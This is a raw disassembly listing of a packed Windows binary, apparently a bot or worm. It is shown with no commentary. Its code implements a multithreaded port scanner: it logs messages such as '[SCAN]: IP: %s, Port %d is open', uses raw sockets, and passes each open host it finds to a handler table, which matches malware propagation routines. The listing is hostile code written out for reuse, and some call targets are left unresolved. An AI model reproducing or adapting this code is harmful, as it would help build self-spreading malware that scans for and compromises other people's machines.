		lea	ecx, ds:44442Ah[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BD6
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402261
		mov	al, 1
		jmp	loc_422E3B
sub_422A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4235F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F70
		mov	ecx, offset dword_447998
		setnz	bl
		call	sub_4014D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D60B5
		call	sub_401848
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_444450[eax*4]
		inc	ecx
		mov	dword_444450[eax*4], ecx
		mov	al, 1
		retn
sub_4235F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423660	proc near		; CODE XREF: sub_401DF7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50DAE8
		nop
		call	sub_5EDAB2
		mov	eax, offset dword_50DAE8
		add	esp, 2Ch
		retn
sub_423660	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423720	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50BB90[esi*8]
		push	eax
		call	near ptr 71AB2BC0h
		nop
		inc	eax
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	dword_50BB90[esi*8], eax
		pop	esi
		retn
sub_423720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423792
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423792:				; CODE XREF: sub_423760+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_50FABC
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4237CA
		call	esi ; dword_50FABC
		mov	[esp+1Ch+var_8], eax


loc_4237CA:				; CODE XREF: sub_423760+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4237D6
		call	esi ; dword_50FABC
		mov	[esp+1Ch+var_C], eax


loc_4237D6:				; CODE XREF: sub_423760+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4237E2
		call	esi ; dword_50FABC
		mov	[esp+1Ch+var_10], eax


loc_4237E2:				; CODE XREF: sub_423760+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4237EC
		call	esi ; dword_50FABC


loc_4237EC:				; CODE XREF: sub_423760+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50BB90[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423850	proc near		; CODE XREF: sub_401E38j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42387E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42387E:				; CODE XREF: sub_423850+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423940:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, dword_50FC2C
		push	esi
		push	edi
		push	2649h
		call	ebp ; dword_50FC2C
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp ; dword_50FC2C
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp ; dword_50FC2C
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp ; dword_50FC2C
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A28
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp ; dword_50FC2C
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423A69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423B68
; ---------------------------------------------------------------------------


loc_423A69:				; CODE XREF: ___:00423A5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423AC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		call	sub_5EDAB2
		nop
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423AC2:				; CODE XREF: ___:00423A87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423B13
		mov	edi, dword_50FC58


loc_423AEA:				; CODE XREF: ___:00423B11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi ; dword_50FC58
		test	eax, eax
		jl	short loc_423B42
		cmp	[esp+0FEh], bp
		jnz	short loc_423AEA


loc_423B13:				; CODE XREF: ___:00423AE2j
		push	esi
		call	near ptr 71AB9639h
		nop
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423B63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B42:				; CODE XREF: ___:00423B07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B63:				; CODE XREF: ___:00423B23j
		push	offset dword_44467C


loc_423B68:				; CODE XREF: ___:00423A64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423C10:				; CODE XREF: ___:loc_401F23j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		call	near ptr 27E083Eh
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:448FCBh[eax*4]
		mov	eax, dword_4491CF[eax*4]
		mov	ecx, dword_50BB94[eax*8]
		test	ecx, ecx
		jz	loc_423EC4
		mov	ebx, off_50FBF0


loc_423C8C:				; CODE XREF: ___:00423EBAj
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423CA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423CAF
; ---------------------------------------------------------------------------


loc_423CA7:				; CODE XREF: ___:00423C96j
		call	sub_401F37
		add	esp, 4


loc_423CAF:				; CODE XREF: ___:00423CA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_50FC78
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi ; dword_50FC78
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5EDAB2
		add	esp, 18h
		lea	ecx, [esp+220h]
		push	ecx
		push	ebp
		call	ebx ; sub_5EDAB2
		mov	edx, [esp+138h]
		mov	eax, [esp+134h]
		push	edx
		push	eax
		push	esi
		call	sub_401E38
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_423EA0
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423DC2
		push	offset dword_50DAD0
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi ; dword_50FC78
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5EDAB2
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423DA2
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423D7D
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423D9A
; ---------------------------------------------------------------------------


loc_423D7D:				; CODE XREF: ___:00423D59j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423D9A:				; CODE XREF: ___:00423D7Bj
		call	sub_401523
		add	esp, 10h


loc_423DA2:				; CODE XREF: ___:00423D4Ej
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50DAD0
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423EA0
; ---------------------------------------------------------------------------


loc_423DC2:				; CODE XREF: ___:00423D16j
		push	esi
		call	edi ; dword_50FC78
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5EDAB2
		mov	eax, [esp+150h]
		add	esp, 8
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+1F8h]
		lea	edx, ds:444420h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5EDAB2
		mov	al, [esp+0B0h]
		add	esp, 8
		test	al, al
		jz	short loc_423E12
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423E1F
; ---------------------------------------------------------------------------


loc_423E12:				; CODE XREF: ___:00423DFEj
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423E1F:				; CODE XREF: ___:00423E10j
		call	ebx ; sub_5EDAB2
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44444C[edx*4]
		add	esp, 0BCh


loc_423EA0:				; CODE XREF: ___:00423D08j
					; ___:00423DBDj
		push	7D0h
		nop
		call	near ptr 2821DA2h
		mov	eax, [ebp+204h]
		mov	ecx, dword_50BB94[eax*8]
		test	ecx, ecx
		jnz	loc_423C8C
		mov	esi, [esp+10h]


loc_423EC4:				; CODE XREF: ___:00423C80j
		push	esi
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 2830000h
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_402261j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50BB90[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_8
		push	3
		call	sub_401483
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424021
		push	offset dword_50DAD0
		nop
		call	near ptr 27709C0h
		push	offset dword_50DAD0
		nop
		call	near ptr 2780000h


loc_424021:				; CODE XREF: ___:00424009j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_50F8D0
		mov	esi, ebx
		mov	dword_50BB94[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_50FBF0
		jb	loc_424150
		mov	edi, dword_50F860


loc_424052:				; CODE XREF: ___:0042414Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5EDAB2
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BD6
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F23
		push	0
		push	0
		mov	dword_4491CF[edx*4], eax
		call	edi ; dword_50F860
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_4491DF[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_4491DF[eax*4]
		test	ecx, ecx
		jz	short loc_424118
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42413E


loc_424107:				; CODE XREF: ___:00424114j
		push	1Eh
		call	ebp ; dword_50F8D0
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_424107
		jmp	short loc_42413E
; ---------------------------------------------------------------------------


loc_424118:				; CODE XREF: ___:004240FAj
		call	near ptr 27B0896h
		nop
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5EDAB2
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42413E:				; CODE XREF: ___:00424105j
					; ___:00424116j
		push	1Eh
		call	ebp ; dword_50F8D0
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424052


loc_424150:				; CODE XREF: ___:00424046j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42417E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp ; dword_50F8D0
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_4241B1
; ---------------------------------------------------------------------------


loc_42417E:				; CODE XREF: ___:00424159j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50BB94[ecx*8], esi
		jnz	short loc_4241B1


loc_424193:				; CODE XREF: ___:004241A8j
		push	7D0h
		call	ebp ; dword_50F8D0
		mov	edx, [esp+130h]
		cmp	dword_50BB94[edx*8], esi
		jz	short loc_424193
		mov	eax, [esp+12Ch]


loc_4241B1:				; CODE XREF: ___:0042417Cj
					; ___:00424191j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50BB90[ecx*8]
		push	ecx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5EDAB2
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_424212
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_401523
		add	esp, 10h


loc_424212:				; CODE XREF: ___:004241EBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50BB94[eax*8], 0
		call	ebp ; dword_50F8D0
		push	3
		call	sub_401483
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424254
		push	offset dword_50DAD0
		call	near ptr 27709C0h
		nop


loc_424254:				; CODE XREF: ___:00424247j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 2830000h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424330	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424330	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424350:				; CODE XREF: ___:004015E1j
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401834
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4243A0	proc near		; CODE XREF: sub_401834j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4243F2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4243F2:				; CODE XREF: sub_4243A0+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_4243A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424420	proc near		; CODE XREF: sub_4021D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424494
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2		; DATA XREF: Themida_:loc_5A0180o
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424494:				; CODE XREF: sub_424420+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424420	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4244C0	proc near		; CODE XREF: sub_4016B8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4244D3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4244D3:				; CODE XREF: sub_4244C0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4244C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_424517
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424517:				; CODE XREF: sub_424500+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		nop
		call	near ptr 77C2C407h
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424545
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424545:				; CODE XREF: sub_424500+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424574
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42458F
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42458F:				; CODE XREF: sub_424500+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
